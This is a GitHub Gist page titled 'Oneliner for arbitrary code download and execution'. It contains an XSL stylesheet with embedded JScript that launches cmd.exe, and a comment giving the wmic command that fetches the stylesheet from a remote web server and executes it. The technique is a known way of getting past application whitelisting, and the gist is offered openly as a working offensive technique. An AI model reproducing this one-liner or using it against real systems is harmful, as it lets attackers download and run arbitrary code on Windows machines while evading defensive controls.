Created
April 18, 2018 08:41
-
-
Save Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7 to your computer and use it in GitHub Desktop.
Oneliner for arbitrary code download and execution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version='1.0'?> | |
<!-- Discovered by @SubTee and @mattifestation --> | |
<!-- Execute with: wmic os get /format:"https://webserver/wmic.xsl" --> | |
<stylesheet | |
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" | |
xmlns:user="placeholder" | |
version="1.0"> | |
<output method="text"/> | |
<ms:script implements-prefix="user" language="JScript"> | |
<![CDATA[ | |
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); | |
]]> </ms:script> | |
</stylesheet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment